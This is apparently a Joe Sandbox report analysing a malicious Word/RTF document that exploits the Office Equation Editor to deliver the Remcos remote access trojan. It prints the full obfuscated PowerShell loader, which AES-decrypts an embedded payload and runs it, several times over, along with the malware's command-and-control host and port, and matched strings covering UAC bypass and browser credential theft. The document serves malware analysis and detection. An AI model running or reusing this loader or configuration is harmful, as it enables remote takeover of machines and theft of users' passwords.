Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
girlfrnd.doc

Overview

General Information

Sample name:girlfrnd.doc
renamed because original name is a hash value
Original sample name:funtogetbacktomeforgetbacktogetbackkissthingtheentirethingstogetbacktomewithentirethingstogetback_____imangreadytoseegirlfrnd.doc
Analysis ID:1483045
MD5:f179217f7e89dea23f1a01c29fc61659
SHA1:0176904a79c159e96b5bd8aaf4eae5817b0f0996
SHA256:25210bf101e90b41547334124d89da300d74672054e6aefaa89aac51e55c1e10
Tags:doc
Infos:

Detection

Remcos
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Sigma detected: Remcos
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
C2 URLs / IPs found in malware configuration
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Delayed program exit found
Document exploit detected (process start blacklist hit)
Injects a PE file into a foreign processes
Obfuscated command line found
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Uses dynamic DNS services
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found URL in obfuscated visual basic script code
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

Process Tree

  • System is w7x64
  • WINWORD.EXE (PID: 3000 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)
    • EQNEDT32.EXE (PID: 532 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)
      • wscript.exe (PID: 3128 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS" MD5: 979D74799EA6C8B8167869A68DF5204A)
        • powershell.exe (PID: 3172 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'') MD5: EB32C070E658937AA9FA9F3AE629B2B8)
          • RegAsm.exe (PID: 3308 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 8FE9545E9F72E460723F484C304314AD)
    • EQNEDT32.EXE (PID: 3484 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Remcos, RemcosRATRemcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.
  • APT33
  • The Gorgon Group
  • UAC-0050
https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Malware Configuration

Threatname: Remcos

{"Host:Port:Password": "2024remcmon.duckdns.org:14645:1", "Assigned name": "zynova", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-R2I0JW", "Keylog flag": "0", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
girlfrnd.docINDICATOR_RTF_MalVer_ObjectsDetects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.ditekSHen
  • 0x1de1:$obj2: \objdata
  • 0x1dcb:$obj3: \objupdate
  • 0x1da6:$obj5: \objautlink

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000008.00000002.870693888.00000000004E5000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
    00000008.00000002.870693888.0000000000501000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
      00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
        00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
          00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmpWindows_Trojan_Remcos_b296e965unknownunknown
          • 0x6c4a8:$a1: Remcos restarted by watchdog!
          • 0x6ca20:$a3: %02i:%02i:%02i:%03i
          Click to see the 17 entries

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
          8.2.RegAsm.exe.400000.0.raw.unpackJoeSecurity_RemcosYara detected Remcos RATJoe Security
            8.2.RegAsm.exe.400000.0.raw.unpackJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
              8.2.RegAsm.exe.400000.0.raw.unpackWindows_Trojan_Remcos_b296e965unknownunknown
              • 0x6c4a8:$a1: Remcos restarted by watchdog!
              • 0x6ca20:$a3: %02i:%02i:%02i:%03i
              8.2.RegAsm.exe.400000.0.raw.unpackREMCOS_RAT_variantsunknownunknown
              • 0x664fc:$str_a1: C:\Windows\System32\cmd.exe
              • 0x66478:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
              • 0x66478:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
              • 0x66978:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data
              • 0x671a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)
              • 0x6656c:$str_b2: Executing file:
              • 0x675ec:$str_b3: GetDirectListeningPort
              • 0x66f98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject")
              • 0x67118:$str_b7: \update.vbs
              • 0x66594:$str_b9: Downloaded file:
              • 0x66580:$str_b10: Downloading file:
              • 0x66624:$str_b12: Failed to upload file:
              • 0x675b4:$str_b13: StartForward
              • 0x675d4:$str_b14: StopForward
              • 0x67070:$str_b15: fso.DeleteFile "
              • 0x67004:$str_b16: On Error Resume Next
              • 0x670a0:$str_b17: fso.DeleteFolder "
              • 0x66614:$str_b18: Uploaded file:
              • 0x665d4:$str_b19: Unable to delete:
              • 0x67038:$str_b20: while fso.FileExists("
              • 0x66ab1:$str_c0: [Firefox StoredLogins not found]
              8.2.RegAsm.exe.400000.0.raw.unpackINDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOMDetects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)ditekSHen
              • 0x663e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7}
              • 0x6637c:$s1: CoGetObject
              • 0x66390:$s1: CoGetObject
              • 0x663ac:$s1: CoGetObject
              • 0x70338:$s1: CoGetObject
              • 0x6633c:$s2: Elevation:Administrator!new:
              Click to see the 18 entries

              Sigma Signatures

              Exploits

              barindex
              Sigma detected: EQNEDT32.EXE connecting to internet
              Source: Network ConnectionAuthor: Joe Security: Data: DestinationIp: 192.3.176.154, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 532, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49165
              Sigma detected: File Dropped By EQNEDT32EXE
              Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 532, TargetFilename: C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS

              System Summary

              barindex
              Sigma detected: Base64 Encoded PowerShell Command Detected
              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion'
              Sigma detected: Equation Editor Network Connection
              Source: Network ConnectionAuthor: Max Altgelt (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49165, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 532, Protocol: tcp, SourceIp: 192.3.176.154, SourceIsIpv6: false, SourcePort: 80
              Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
              Source: Process startedAuthor: Thomas Patzke: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion'
              Sigma detected: Potential PowerShell Command Line Obfuscation
              Source: Process startedAuthor: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text 